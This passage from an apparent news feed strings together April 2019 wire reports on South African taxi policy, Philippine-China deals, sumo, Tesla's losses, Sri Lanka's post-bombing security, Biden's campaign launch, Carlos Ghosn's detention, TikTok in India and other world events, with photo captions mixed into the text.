active and meaningful participants. Commercial enterprises include the affordable supply of new taxi vehicles, finance, short-term insurance, spare parts, repairs, fuel, lubricants, electronic fare collection and property management. Apart from reducing the taxi industrys dependence on government over time, revenue generated from the commercial streams would be deployed to promote the sustainability of the minibus taxi industry to fund the continued recapitalisation of ageing new taxi vehicles (NTVs) beyond the current TRP programme, he said. In addition, a process will be established to determine the extent of illegal taxi operations across the country by conducting a nationwide survey to populate a comprehensive database of minibus taxi industry operators and operations. The accurate statistics for the taxi industry will enable the Department of Transport to undertake proper planning and embark on appropriate interventions, Nzimande said. The department also intends to use the Revised Taxi Recapitalisation Programme as a catalyst for change to the industrys operating model. The industry currently works on an individual taxi ownership model and collaborative route management structure through local taxi associations, regional, provincial and national taxi councils. By and large, the individual ownership model and taxi association route management model are at the heart of the endemic conflict and violence which have bedevilled the taxi industry for decades, he said. According to the Minister, the Taxi Recapitalization SA has already commenced with the process to scrap the illegally converted Toyota Panel Vans as per the remedial actions of the Public Protector in the report titled Illegal Conversions of Toyota Quantum Panel Vans into Minibus Taxis issued on 27 March 2019. SAnews.gov.za This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. Metro Manila (CNN Philippines, April 26) President Rodrigo Duterte witnessed the signing of several business agreements with China during his latest trip to China. Duterte and several government officials are currently attending the Belt and Road Forum in Beijing, where 19 deals were signed between the Philippine and China business delegations. "The Philippine business delegation and their Chinese counterparts signed one (1) contract agreement, three (3) cooperation agreements, two (2) purchase framework agreements, and 13 Memoranda of Agreement (MOA) or Understanding (MOU)," the Department of Trade and Industry said in a statement Friday. The DTI expects the agreements to bring in $12.165 billion in investments and trade, and create approximately 21,165 jobs. The deals are the following: Energy - a contract agreement for the 250MW South Pulangi Hydroelectric Power Plant Project in Damulog, Bukidnon (Pulangi Hydro Power Corporation, China Energy Co Ltd) - framework agreement for thermal, hydro and renewable power plants (Tranzen Group, China Power Investment Holding) - MOU on a $1.5 billion petrochemical refinery processing plant complex in the Tubalan Cove Business and Industrial Park (local government of Davao Occidental, Fengyuan Holdings) - MOU for a $40 million collaboration to promote indigenous, new, and renewable energy resources (Department of Energy, Shanghai Electric Group Co Ltd, Deluxe Family Co Ltd) Infrastructure - MOU on the construction for the Manila Light Rail Transit, housing, and roads in North Luzon, for a total value of $4 billion (Tranzen Group, China Harbour Engineering Company Ltd) Telecommunications - MOU for a $500 million project on the construction of infrastructure for nationwide Wi-Fi connectivity (Tranzen Group, CITIC Guoan Information Technology) Agriculture - Purchase framework agreement to supply China with $40 million worth of pineapples (Philpack Corporation, Goodfarmer Foods Holding Group) - Purchase framework agreement to supply China with $36.5 million worth of green coconuts (Eng Seng Food Products, China Artex Corporation) Economic Zone and Industrial Park Development - six MOUs on the development of the Cagayan Economic Zone Authority - framework agreement worth approximately $1.5 billion to construct and develop the Yatai Industrial Park (local government of Pampanga, Macrolink Group) - framework agreement worth approximately $298 million to develop the Grande and Chiquita Islands under the Subic Bay Metropolitan Authority (GFTG Property Holdings, Sanya CEDF Sino-Philippine Investment Corporation) Mining - MOU to construct a $50 million iron processing plant in Agusan Del Norte (Adnama Mining Resource, Inc., Fu Properties Inc, Xiamen C&D Incorporation) The Tranzen group, which signed several deals in energy, infrastructure and telecommunications, is led by mining mogul Salvador Zamora II. President Rodrigo Duterte and his delegation are slated to return to the Philippines late Saturday evening. Hakuho is in hot water for an impromtu clap Mongolian sumo grand champion Hakuho has been reprimanded for leading the crowd in an impromptu round of hand-clapping after winning a tournament last month, a spokeswoman for the ancient sport said Thursday. The 34-year-old "Yokozuna" -- or grand champion -- received a dressing-down from top officials after what Hakuho described as a "spur-of-the-moment act" he did "to make spectators happy." But the three bouts of rhythmic hand-clapping, equivalent to "three cheers", did not go down well with the highly-ritualised sport's governing body, the Japan Sumo Association (JSA). JSA chairman Hakkaku said in a statement "I told Hakuho that I wanted him to observe sumo's tradition, discipline, courtesy and stylistic beauty as a Yokozuna." The spokeswoman declined to give a precise reason for the reprimand but public broadcaster NHK noted that the hand-clapping came before the traditional ceremony that usually concludes a sumo tournament. She said the hulking Mongolian had been given an "oral reprimand", the lightest punishment in the governing body's armoury but also noted he had received a warning previously in 2017 for similar actions. The popular Hakuho, born Munkhbat Davaajargal, has earned praise for helping restore dignity to sumo following a series of scandals that have tarnished the reputation of a sport said to date back some 2,000 years. But he is not without his critics among staunch sumo traditionalists, who dislike his wild wrestling style and occasional protests against judges. Hakuho's stablemaster, sumo elder Miyagino, was hit with a stiffer penalty of a 10-percent salary cut for three months, for neglecting his leadership duties, the JSA spokeswoman said. Sumo has taken a battering in recent years -- from allegations of bout-fixing and the involvement of organised crime to drugs arrests and severe bullying, the most serious case resulting in the death of a teenage wrestler in 2007. Yokozuna Harumafuji was charged over a brutal assault on a rival wrestler while out drinking in 2017, ending his illustrious career. The sport was plunged into further controversy last year when women who rushed to the aid of a local mayor who had collapsed during a speech were repeatedly told to leave the ring, sparking a flurry of embarrassing headlines. The punishment comes as local media reported Hakuho has applied for Japanese citizenship -- a requirement of all foreign wrestlers wishing to become sumo elders. The move was seen as an indication of Hakuho's intention to remain in the sumo world after he eventually retires. Visitors walk past a Tesla Model 3 at the Shanghai Auto Show in China on April 17, 2019 Electric carmaker Tesla on Wednesday announced a heavy loss in the first quarter as car deliveries sputtered overseas and a US tax credit that made its prices more attractive was reduced. The California-based company reported a loss of $702 million in the first three months of this year after two consecutive quarters of profit. Tesla produced about 63,000 Model 3 vehicles in the period, an increase of three percent from the same quarter a year earlier but fewer than had been anticipated. The company attributed its disappointing financial results to Model 3 shipping delays, particularly in Europe and China. Overall company revenue in the period rose 33 percent to $4.5 billion in a year-over-year comparison, but fell far short of Wall Street forecasts. The company's shares that finished the formal trading day down nearly two percent to $258.66 were essentially flat in after-market trades that followed release of the earnings figures. Tesla's quarterly loss followed changes to pricing and reversals in the way the company sells vehicles. - 'Running out of steam' - In late February Tesla said its Model 3 -- heralded as an electric car for the masses -- was available for order online only, at a price of $35,000 with delivery promised within a month. Tesla CEO Elon Musk, gesturing during unveiling of the new Tesla Model Y in March, 2019, is targeting production of a possible 500,000 vehicles worldwide in 2019 The following month it reversed course, saying it would keep many of its showrooms open -- but would need to hike prices to do so. Then, in April, the carmaker ended internet sales of its cheapest Model 3 sedan in another shift to the company's retail strategy. Tesla planned to keep taking online orders for the Standard Plus Model 3, which starts at $39,500 and became the lowest-price option available to digital consumers. But online customers could no longer order the Model 3 Standard for $35,000, a long-promised price for a vehicle that has been seen as essential to CEO Elon Musk's ambition to disrupt the auto industry. A challenge to vehicle demand has been the lowering of a US tax credit on Tesla vehicles to $3,500 from $7,500 previously. Jessica Caldwell, Edmunds.com executive director of industry analysis, said there were "many signals that the brand is running out of steam." Edmunds research indicated that most of the vehicles Tesla made in the first quarter were shipped overseas, suggesting US demand was softening, according to Caldwell. Nonetheless, Tesla was confident it would get past the financial speed-bumps and into a smoother road to improved fortune. Musk contended that demand for Tesla vehicles is solid and vehicle production numbers would increase in the current quarter. Tesla vowed to significantly reduce losses this quarter and aimed to return to profit in the following three months. The company expected to remain on course to deliver between 360,000 and 400,000 vehicles in total this year, topping 2018 numbers by at least 45 percent. "If our Gigafactory Shanghai is able to reach volume production early in Q4 this year, we may be able to produce as many as 500,000 vehicles globally in 2019," Musk and freshly-installed chief financial officer Zachary Kirkhorn said in a letter to investors. "This is an aggressive schedule, but it is what we are targeting." Sri Lankan policemen carry out a security check on men attending a funeral ceremony for a bomb blast victim in Colombo Sri Lanka deployed thousands of additional troops countrywide overnight to help police hunt for suspects in the Easter Sunday suicide blasts that killed nearly 360 people, a spokesman said Thursday. Brigadier Sumith Atapattu said the army increased its deployment by 1,300 to 6,300, with the navy and airforce also deploying 2,000 more personnel. "We are armed with powers to search, seize, arrest and detain under emergency regulations," Atapattu told AFP. "We are involved in static guard duties, patrolling and helping with cordon-and-search operations." The government also announced a ban on all drone flights and said licences issued to all commercial operators were suspended with immediate effect. Police said they arrested another 16 suspects overnight with alleged ties to the National Thowheeth Jama'ath (NTJ) extremist group accused of the blasts at three churches and three luxury hotels. Police said about 75 people were now being interrogated in connection with the deadliest attack against civilians in the country's history. Sri Lankan authorities are also investigating a security failure to act on prior information about the impending Easter bombings by the NTJ. President Maithripala Sirisena, who is also the minister of defence and law and order, on Tuesday vowed a major security shake up with pledges to remove the heads of the police and armed forces "within 24 hours", but there were no changes by Thursday morning. Recriminations have flown since Sunday's attacks and the country remained tense with many shops and offices closed and motorists staying off the roads. Sirisena is due to meet with leaders of all political parties as well as religious leaders in two separate meetings on Thursday to discuss the situation. Sunday's bomb attacks were the first in the country since the Tamil insurgency ended almost 10 years ago in May 2009. The party's 76-year-old senior statesman, whose announcement was expected to arrive via online video post, would become the most experienced and recognized Democrat in the race After months of reflection, Joe Biden was set to launch his US presidential bid Thursday, positioning the veteran Democrat as a frontrunner among the many candidates seeking to challenge Donald Trump in 2020. The party's 76-year-old senior statesman, whose announcement was expected to arrive via online video post, would become the most experienced and recognized Democrat in the race, a popular former vice president dominating early polls following months -- even years -- of campaign planning. Biden, whose working-class appeal remains intact despite nearly half a century in Washington politics, is seen as a comforting, known quantity for American voters who will be vetting some 20 Democrats now officially in the presidential field. But recent controversy over his tactile style, particularly with women, could dampen a rollout that he envisioned as the final main entry to the Democratic primary battle. Biden aides remained tight-lipped this week about the early campaign. But people familiar with the Democrat's plans told US media that after launching on Thursday, he will head to Pittsburgh, in the swing state of Pennsylvania that Trump won in 2016, to address a labor union gathering Monday, in his first public appearance after throwing his hat in the ring. - Third time lucky? - A person holds a "Run Joe Run" sign after former US vice president Joe Biden spoke at a rally organized by UFCW Union members to support Stop and Shop employees on strike throughout the region at the Stop and Shop in Dorchester, Massachusetts The record number of candidates means Biden faces a field of unprecedented diversity as he makes his third run for president, following two unsuccessful attempts in 1988 and 2008. After the death of his son Beau from cancer, Biden passed on a presidential campaign in 2016. As he let the suspense over his political plans drag out for months this year, his broad lead has been whittled, with newer and notably young faces gaining ground including moderate South Bend, Indiana Mayor Pete Buttigieg, who at 37 is less than half Biden's age. Complicating matters, the last weeks of waiting have been clouded by revelations from multiple women accusing Biden of touching them inappropriately or making them feel uncomfortable with his affection. Biden, an old-school politician who acknowledges he is quick to offer hugs and shoulder rubs as he forges connections with voters, has not outright apologized for his behavior, but he pledged earlier this month to be "more mindful" about society's changing boundaries. He remains atop most recent polls. With 29.3 percent of the vote, Biden leads leftist Senator Bernie Sanders who is at 23 percent, according to a poll aggregate by website RealClearPolitics. Senator Kamala Harris is third at 8.3 percent, followed by Buttigieg (7.5 percent), progressive Senator Elizabeth Warren (6.5 percent) and former Texas congressman Beto O'Rourke (6.3 percent). - How much support? - Biden leads the pack largely on the strength of his lifelong political experience -- he was elected to the US Senate at just 29 -- and his name recognition Biden leads the pack largely on the strength of his lifelong political experience -- he was elected to the US Senate at just 29 -- and his name recognition. But in the early stages of what will be a heated primary battle, the status of frontrunner is by no means assured. "The key question is whether Biden's current support represents more of a floor for him than a ceiling," Kyle Kondik of the University of Virginia's Center for Politics told AFP. "If it's a floor, he's in great shape. If it's a ceiling, his candidacy could fall apart quickly." Biden likes to highlight his modest Pennsylvania origins, which could give him a valuable advantage in Rust Belt states that flipped for Trump in 2016. "Wall Street bankers and CEOs did not build America," Biden told strikers last week. "Ordinary, middle-class people build America. And guys that's not hyperbole, that's just a simple fact." Biden remains popular for the Democratic base, especially among older, moderate and African-American voters, whose mobilization could play an important role in the race. Biden gained "some genuine goodwill" with voters over his career, over 36 years as a senator and then eight years as Barack Obama's deputy, said Kondik. But his victory in the Democratic primary is no given with a full 10 months before the first nominations votes are cast. In addition to the unsolicited touching controversy and his famous gaffes, Biden's long legislative record is facing scrutiny, notably his support for a 1990s anti-crime bill that disproportionately impacted African-Americans. So is his handling of 1990s hearings featuring Anita Hill, a woman who accused US Supreme Court nominee Clarence Thomas of sexual harassment. North Korea is looking to warm relations with Russia, once its closest ally North Korea's close relationship with the Soviet Union cooled in the 1990s under a new Russian power, but were revived in the 2000s as Moscow sought support amid a new standoff with the West. As Kim Jong Un meets President Vladimir Putin for the first time, here is a broad overview. - Cold War allies - At the end of World War II, the Soviet Union was given trusteeship of the northern half of the Korean peninsula, the United States having the same for the south. Moscow installed Kim Il Sung -- who had led a Korean contingent in the Soviet army -- as leader and he established the communist North Korean state in 1948. Two years later, with the backing of China and the Soviet Union, Kim's forces invaded the South, triggering a war that claimed four million lives before a 1953 armistice. As the Cold War stand-off between the Soviet Union and the West deepened, North Korea benefited substantially from Soviet aid including in weapons and fuel. A 1961 treaty signed between Kim Il Sung and Nikita Khrushchev committed the Soviet Union to defend North Korea in the event of an attack. Kim Il Sung visited Moscow in 1984 and in 1986, when he met Soviet leader Mikhail Gorbachev for the first time. - Relations break off - The special relationship ended in 1990 when Gorbachev established diplomatic relations with South Korea, the North accusing it of treachery. The Soviet Union's break-up in 1991 ushered in a Russian regime favourable to the West; as the Cold War ended, so did Soviet aid to the North. In 1992 president Boris Yeltsin declared the 1961 treaty void, saying it existed "only on paper". - Renewal - Putin revived relations between Russia and North Korea -- lead by Kim Jong Il who had taken over when his father died in 1994 -- shortly after he became president. Just months into his presidency in 2000 Putin travelled to Pyongyang, becoming the first Russian leader to visit the reclusive state. He and Kim Jong Il agreed to put relations back on track and signed a broad military cooperation agreement. In 2001 and 2002 Kim Jong Il travelled to Moscow for talks with Putin. In 2003 -- as international concerns mounted that North Korea was secretly developing nuclear weapons -- Russia took part in a first round of six-country talks aimed at making Pyongyang abandon its nuclear arms programmes. Kim Jong Il made his third and final trip to Russia in 2011, four months before he died. His son Kim Jong Un took over. - Summits and summits - In 2014 Moscow cancelled 90 percent of the debt Pyongyang owed to Russia dating back to the Soviet era. The February 2018 Winter Olympics in South Korea saw a spectacular detente between the two Koreas and with the United States. Just months later US President Donald Trump met Kim in an unprecedented summit in Singapore, the North Korean leader pledging to "work towards complete denuclearisation" of the peninsula. Putin praised the meeting and reiterated that he too would be happy to meet Kim. However a second Trump-Kim summit in February 2019 in Hanoi ended in failure, with Pyongyang saying later it was again testing weapons. Kim's meeting with Putin will be his first with another head of state since returning from Hanoi. Chinese officials hope the Belt and Road summit in Beijing will clear up 'misunderstandings' about the vast infrastructure programme China launched on Thursday a staunch defence of its Belt and Road global infrastructure project as it opened a summit with a pledge to ease concerns about debt linked to its signature foreign policy. President Xi Jinping's pet project is a reboot of the ancient Silk Road to connect Asia to Europe and Africa through massive investments in maritime, road and rail projects. The initiative offers to bring much-needed modern infrastructure to developing countries, but the United States has dubbed it a "vanity project" and critics warn it is a "debt trap" favouring Chinese companies. Huang Kunming, a member of China's powerful Politburo, said at the opening of the three-day Belt and Road Forum in Beijing that there have been "some misunderstandings and unfounded rumours" about BRI that they hope to clear up. But in a nod to the concerns over loans, Finance Minister Liu Kun said China would release a framework to "prevent debt risks," according to state-owned China Securities Journal. The "debt sustainability analysis framework" encourages Chinese financial institutions and BRI countries to voluntarily improve debt management levels, the report said. China must properly address "issues of environmental protection and debt management that the international community pays close attention to," said Zheng Zhijie, governor of the China Development Bank. The state policy bank has doled out much of the Belt and Road-related loans since 2013, with Zheng saying it had extended $190 billion in financing to 600 projects. - Debt trouble - International Monetary Fund chief Christine Lagarde said Liu's announcement and China's increased focus on the long-term success of BRI projects were "very welcome steps in the right direction." Lagarde told the forum that "sound financial regulation, transparent rules for investment, and attention to fiscal sustainability" were needed to successfully open capital markets, according to her prepared remarks. Leaders from 37 countries have begun to arrive in Beijing for the three-day forum, with officials from scores of other nations in attendance. Russian President Vladimir Putin and Italian Prime Minister Giuseppe Conte, whose country became the first G7 member to sign up to Belt and Road, are among the headliners. China's Belt and Road But EU powers Germany and France are sending ministers instead, while the United States has not dispatched any officials from Washington. "We call upon all countries to ensure that their economic diplomacy initiatives adhere to internationally-accepted norms and standards, promote sustainable, inclusive development, and advance good governance and strong economic institutions," a US embassy spokesperson said. Since Xi launched Belt and Road in 2013, China has invested $90 billion in projects while banks have provided between $200 billion and $300 billion in loans, according to Chinese officials. But examples of debt trouble abound. Sri Lanka turned over a deep-sea port to China for 99-years after it was unable to repay loans. Pakistan needs an international bailout. And Montenegro has had to make difficult choices after taking on crushing Chinese debt to pay a Chinese company to build a new highway. Carlos Ghosn has said he will 'not be broken' After a Tokyo court extended Friday Carlos Ghosn's detention until April 22, here are key developments since the former Nissan and Renault boss was arrested in Japan five months ago for alleged financial misconduct, with four formal charges since filed against him: - Plane stormed - A team of prosecutors charges onto Ghosn's private jet after it touches down at Tokyo's Haneda Airport on November 19. They arrest the Brazil-born Frenchman and his right-hand man Greg Kelly, accused of under-reporting Ghosn's salary. Hours later, Nissan CEO Hiroto Saikawa tells reporters: "Too much authority was given to one person in terms of governance," referring to "a dark side of the Ghosn era". Ghosn and Kelly both deny wrongdoing. Their detention for investigation is later extended twice to December 10. - Fired - French car giant Renault announces on November 20 that Ghosn is "temporarily incapacitated" and chief operating officer Thierry Bollore will take over his role. Nissan's board votes unanimously on November 22 to "discharge" Ghosn as chairman. Four days later, he is also fired as boss of Mitsubishi Motors. Ghosn oversaw the alliance of the three groups that makes up the world's top-selling auto company. - Charged and new allegations - On December 10, prosecutors formally charge Ghosn and Kelly with under-reporting the auto titan's salary between 2010 and 2015. They immediately rearrest the pair on allegations of further under-reporting in the past three years. On December 21, prosecutors arrest Ghosn again over fresh allegations that he transferred losses from personal financial investments to Nissan. His detention is subsequently prolonged twice until January 11. Kelly wins bail on December 25 on the condition that he stays in Japan. - First court appearance - In his first public appearance since his arrest, Ghosn attends a court hearing on January 8 in handcuffs. "I have been wrongly accused and unfairly detained based on meritless and unsubstantiated accusations," he says. The judge says his detention is justified because he poses a flight risk and could tamper with evidence. On January 11, prosecutors file two new formal charges of financial misconduct against Ghosn. On January 15, the court denies his bail request. - Personal appeal - On January 21, Ghosn issues a personal appeal for bail, vowing he would not seek to leave Japan before a trial and offering to wear an electronic tagging bracelet. His request is rejected. On January 31, Ghosn tells AFP from his prison cell that his detention would "not be normal in any other democracy". He shakes up his legal team on February 13. - Bail approved - On March 5, the court approves Ghosn's third request for bail which is set at one billion yen ($9 million, eight million euros). Ghosn says in a statement he will "strongly" defend himself against "unfounded" charges. On March 6 he walks out of his detention centre wearing a medical face mask and a workman's outfit, with the world's media in attendance. - Rearrest - He is arrested in a dawn raid of his Tokyo apartment on April 4, with investigators now probing suspect payments to a Nissan distributor in Oman. Ghosn slams the fresh arrest as "outrageous" and says, "I will not be broken." His lawyer Junichiro Hironaka says it "should not be tolerated in a civilised nation". The court grants prosecutors a further 10 days to question Ghosn, setting his detention until at least April 14. - 'Backstabbing' - On April 9, Ghosn's representatives release a video recorded shortly before his rearrest in which he accuses "backstabbing" Nissan executives of a "conspiracy" leading to his arrest. He repeats that he is "innocent of all the charges". On April 12, a court rules that Ghosn will remain in detention until April 22 for further questioning. At the end of his detention period, authorities hit him with a further charge of aggravated breach of trust, alleging he siphoned off money for personal ends from cash transferred from Nissan to a dealership in Oman. - Bail II - On April 25, the court grants a second bail to Ghosn of $4.5 million, also banning him from leaving Japan and imposing other conditions aimed at preventing him from evidence tampering or contacting people involved in the case. Protestors gathered outside Parliament House Wednesday with the election of veteran politician Manasseh Sogavare Solomon Islands police were maintaining an uneasy calm in the capital Honiara Thursday, a day after more than 50 people were arrested in riots following the contested election of prime minister Manasseh Sogavare. Police commissioner Matthew Varley said most Honiara shops remained closed after Wednesday's unrest, which saw vehicles damaged, roadblocks set on fire and police stations attacked by people throwing rocks. "Our officers were battling a moving, running crowd," he told reporters Thursday, adding more than 50 people were arrested or detained for offences relating to "riots, rock throwing and other acts of criminal damage". After Sogavare won a run-off ballot for prime minister, crowds of protestors trashed businesses in Chinatown before causing "serious and substantial" damage to a hotel and casino, the police commissioner said. Riot police were deployed with tear gas and used "less lethal rounds" to restore order after a dozen officers and a number of civilians were injured, he added. The Solomon Islands has often struggled with ethnic tensions and political violence since gaining independence from Britain in 1978. Varley called for calm and said he expected the tension to ease in the coming days. Following an inconclusive election earlier this month, Sogavare won the backing of 34 of 50 members of parliament in a controversial run-off, with his opponents boycotting the vote. It is his fourth time as prime minister. He has been ousted in votes of no confidence in two of his previous terms. A 2006 election prompted widespread rioting in the capital with shops in Chinatown looted and burnt down, forcing foreign peacekeepers to step in. Police have urged the public to accept the outcome of the latest poll and let parliament and courts deal with electoral issues. Teacher Jane Cromwell leads the OrchKids orchestra at a recent concern in Baltimore -- in all, 1,300 children are enrolled in the after-school program As the conductor raises her baton, dozens of children come to order, and their everyday cacophonous chatting gives way to a melodic cascade of notes. The 60 or so students are part of OrchKids, a program run by the Baltimore Symphony Orchestra, which is hoping to bring change to the troubled city through the power of music. "We are trying to combat some of the social challenges here in Baltimore," says program director Nick Skinner. One recent OrchKids concert took place just a few blocks from where Freddie Gray, a 25-year-old black man, was arrested in April 2015. Gray fell into a coma while in police custody and later died, and the incident sparked violent protests in Baltimore, a port city plagued by violence, drugs and crime. "Charm City" is now one of the most violent in the United States, with an average of more than 300 murders a year. Nearly a quarter of its 620,000 residents live below the poverty line. In recent years, urban renewal projects have sought to break the spiral of gloom, but in some neighborhoods, only a few blocks separate condemned buildings from hip hotspots. Those behind OrchKids remain optimistic. Mentor Carolyn Rosinsky (C) helps tune a cello for OrchKids student Stefany Carbajal (R) In all, 1,300 children -- from grade school to high school -- are enrolled in the program, which offers them free music education, four afternoons a week after school. The program offers them a safe place to go after school without charge -- easing the minds of busy parents who would otherwise need child care or be forced to leave their children unsupervised. "We're providing not only academic support but also a healthy snack and a dinner before they go home," Skinner explains. OrchKids -- which takes inspiration from El Sistema, Venezuela's venerable music education program -- started a little more than a decade ago with just 30 students. "Back when we started the program in 2008, most of the community thought that we were actually undercover cops," Skinner says. "There was no trust," he adds, recalling the long history of distrust, especially in the city's African American community, toward local officials and a police force seen as racist and corrupt. - 'A different kind of future' - Tyrianna Graham, just eight years old, plays the violin in the OrchKids program, which provides safe haven for children after school, and even dinner for some This year, that first class of 30 students is getting ready to graduate from high school and some will head on to university -- firsts for many of the families involved. Some of the OrchKids students have studied at the prestigious summer camp at the Interlochen Center for the Arts in Michigan. Ludy Gutierres, a 12-year-old who plays the bassoon, even performed for Barack Obama. "Yeah, that was just once... It was fun," Ludy said, nonchalantly, as if playing a concert for a former US president were an everyday experience. Even if music is not a career option for most of the students enrolled in OrchKids, the program offers them a perspective that is not always available to inner-city kids, especially in Charm City. Bella, a middle schooler who also plays bassoon, knows that her participation in OrchKids will give her a leg up when it comes time to apply for college, even if she does not want to be a musician. Oliver Cuellar rests his face on the neck of his cello during practice before the OrchKids String Fling concert at the Lockerman Bundy Elementary School in Baltimore "It's a good way to teach patience," she says. The Baltimore Symphony's long-time conductor, Marin Alsop, has lent her considerable influence to OrchKids. Alsop, who leads orchestras around the world, has made Baltimore her home since 2007, when she became the first woman to lead a major US symphony orchestra. She says using her platform to make classical music more accessible, and possibly offer a positive influence to children in her home city, was important to her. "The issues of violence that we face are pretty overwhelming," Alsop explains, adding that the city's children "live under a lot of stress." "That really takes a toll and I think through programs like OrchKids, they start to see a different kind of future," she adds. "They're able to travel to play... they're receiving positive affirmation for what they're doing," she says. "As a result, many of them are looking at futures that they wouldn't have considered before." The American conductor -- who also leads the Sao Paulo State Symphony Orchestra and is chief conductor designate of the Vienna Radio Symphony -- says she hopes to reach 10,000 children through OrchKids. That would be one in eight kids in Baltimore's public school system. "I'd love Baltimore to become known as the City of Music rather than the City of Murder," she says. TikTok is already banned in Bangladesh and was given a huge fine in the United States for illegally collecting information from children An Indian court has reversed a decision that ordered Google and Apple to take down Chinese-owned video app TikTok over the spread of pornographic material, local media said. The controversial but wildly popular app allows users to upload and share short 15 second clips from their phones and claims to have 500 million users worldwide -- more than 120 million of them in India. It is already banned in neighbouring Bangladesh and was hit with an enormous fine in the United States for illegally collecting information from children. The Wednesday ruling by the Madras High Court in India's southern Tamil Nadu state requires the popular platform to prevent "obscene videos" from being posted. "(The court) warned if any controversial video violating its conditions were found uploaded using the app, it would be considered a contempt of court," a report by the Press Trust of India agency said. On April 16, India's government demanded Google and Apple remove the service from its app stores, though the order did not stop those who had already downloaded the app from using it. The case against TikTok was launched by an activist group that said the app encouraged paedophiles and pornography. India's government told the court on Wednesday that they had formed a committee to suggest ways to regulate apps like TikTok, PTI said. TikTok told the court that they had removed around six million controversial videos from the platform since the order was announced banning new downloads last week. The app hit the headlines in India earlier in April after a 19-year-old man was accidentally shot dead by a friend in Delhi as they posed with a pistol to make a video on the platform. TikTok has become a major rival to Facebook, Instagram and other social network sites among teenaged smartphone users in the past year. Bangladesh banned TikTok in February as part of a clampdown on internet pornography. The same month, the US Federal Trade Commission (FTC) said a $5.7 million fine ordered against the company was the largest imposed in a child privacy investigation. The social network failed to obtain parental consent from underage users as required by the US Children's Online Privacy Protection Act, FTC officials said. President Mohammadu Buhari has a history of ill-health Nigerian President Muhammadu Buhari will leave for Britain on Thursday on a private visit, his office said, in a statement set to revive concern about his state of health. The 76-year-old -- who has previously been in London for long spells of medical care -- is currently visiting Maiduguri, capital of the northeastern state of Borno, which is battling the Boko Haram insurgency. "At the end of the visit, President Buhari will be proceeding to the United Kingdom on a private visit," presidential spokesman Femi Adesina in a statement. "He is expected to return to Nigeria on May 5," he said, giving no further details. From May 2016 until mid-2017, Buhari was in London for medical treatment for increasingly long periods of time, forcing government denials that he was gravely ill or even dead. To date, he has not disclosed details about his condition, apart from saying he had "never been so ill" and had to undergo multiple blood transfusions. His health status was an issue in the campaign for the February 23 presidential elections, with the opposition insisting he was physically unfit to govern. The retired general, who was first elected in 2015, is scheduled to be sworn in for a second four-year term on May 29. Opposition leader Atiku Abubakar has lodged a legal challenge to the results. China has said it warned off a French naval vessel that had entered the Taiwan Strait China said Thursday its navy warned off a French warship that had entered the Taiwan Strait earlier this month and has lodged an official protest over the rare move by a European power. Beijing sees self-governed and democratic Taiwan as its territory awaiting reunification, and the United States has traditionally been the country that defies that territorial claim by sailing through the strait. But now it is France that has angered China. Chinese defence ministry spokesman Ren Guoqiang said the French warship "illegally entered China's territorial waters" on April 7. "The Chinese military sent warships in accordance with the law, in order to identify the French ship, and warn it to sail away," Ren said at a monthly press briefing." "The Chinese side has already made solemn representations to the French side." "The Chinese military is always on high alert and firmly defends the sovereignty and security of the country," he added. Ren did not identify the vessel but a French frigate, the Vendemiaire, had been expected to take part in an international naval parade commemorating the 70th anniversary of China's navy earlier this week. The French ship never showed up, without an explanation from either country. - 'Freedom of navigation' - Paris reaffirmed its commitment to "freedom of navigation under maritime law" following the spat with Beijing. "The (French) national navy crosses the Taiwan Strait about once a year, without any incident nor reaction," an aide to French Armed Forces Minister Florence Parly said after China confirmed lodging an official protest. US warships periodically conduct "freedom of navigation" exercises in the narrow waterway separating the Chinese mainland and Taiwan, triggering angry responses from Beijing every time. The US diplomatically recognises China over Taiwan but remains the island's chief military ally and arms supplier. In February, a US destroyer and the USNS Cesar Chavez cargo ship sailed through the Taiwan Strait. Such operations by European countries are rare in the Taiwan Strait. But France and Britain have challenged China's claims in the South China Sea, sending ships close to disputed islands on separate operations last year. Britain's finance minister Philip Hammond was taken to task by Vice Premier Hu Chunhua during talks in Beijing on Thursday. "It is regrettable that since August last year the relations between our two countries witnessed some fluctuations because of the South China Sea issue and a series of institutional dialogues and cooperation projects had to pause," Hu told Hammond. Hammond, who is in Beijing for a forum on China's Belt and Road infrastructure project, said: "I very much share your regret that over the last few months there have been some difficulties in advancing the positive course of the relationship that our leaders have set out." But, he added, "of course you understand that the UK takes no position in relation to the issues in the South China Sea". China has not been shy about conducting military exercises in the South China Sea or Taiwan, either. Last month, two People's Liberation Army J-11 fighter jets flew across the traditionally respected maritime line dividing the island from the mainland, drawing condemnation from Taipei. China has significantly stepped up diplomatic and military pressure on Taiwan since Beijing-sceptic President Tsai Ing-wen took office in 2016. Disappearing act: Vietnam's President Nguyen Phu Trong has not been seen in public for 11 days, sparking health rumours. Vietnam's president will "soon resume" work, a spokeswoman said Thursday, after the 75-year-old leader vanished from public view amid swirling speculation he fell ill earlier this month. The sudden disappearance of hardline leader and Communist Party chief Nguyen Phu Trong sparked concerns of a power vacuum in the one-party state, with no immediately obvious successor in place if he was no longer able to govern. But observers said even if there was political jockeying for his job, the party's firm grip on power would not likely be shaken. Trong was last seen in public on his 75th birthday on April 14, meeting with officials in southern Kien Giang province. "Trong's health has been affected by the high intensity of his workload and weather," foreign ministry spokeswoman Le Thi Thu Hang told reporters Thursday, without elaborating. "He will soon resume his normal duties," she added. Sources have confirmed to AFP that the president fell gravely ill in Kien Giang and was later seen by doctors, but did not offer details due to the sensitivity of the matter. His current condition is not clear. On April 13 Trong was photographed visiting a shrimp farm in the sweltering heat and was also seen in a cooled processing plant at the same site. Social media went into overdrive speculating on the health of the white-haired statesman while state media remained tight-lipped on his condition, reporting only on his written correspondence in the days since he was last seen. Vietnam analyst Jonathan London said there were several Trong loyalists in place that could be eligible for his job, with no signs that potential rivals aligned with the previous administration would take over. "Perhaps the current trend in politics will continue," he told AFP. A conservative apparatchik and lifelong party member, Trong has led an unprecedented anti-corruption campaign in graft-prone Vietnam, jailing dozens of executives alongside former and current officials. His hardline reputation has also been bolstered by a crackdown on activists, with dozens jailed under his tenure. Vietnam is notoriously secretive about the health of its top politicians and keen to preserve an image of powerful, stable leadership. Former president Tran Dai Quang died in September last year following a long illness, appearing in public just days before looking noticeably thin. Hanoi did not speak about his health until after his death and never disclosed his precise illness. A member of Jordan's security forces checks ID cards of displaced Syrians from the Rukban desert camp near the border between Syria and Jordan in March 2017. Damascus government has asked its citizens to return home from the isolated makeshift camp More than 7,000 people have left a desperate desert camp for displaced Syrians near the Jordanian border since March, a United Nations spokesperson said Friday. According to the UN's humanitarian coordination office OCHA, around 36,000 people remained in the isolated 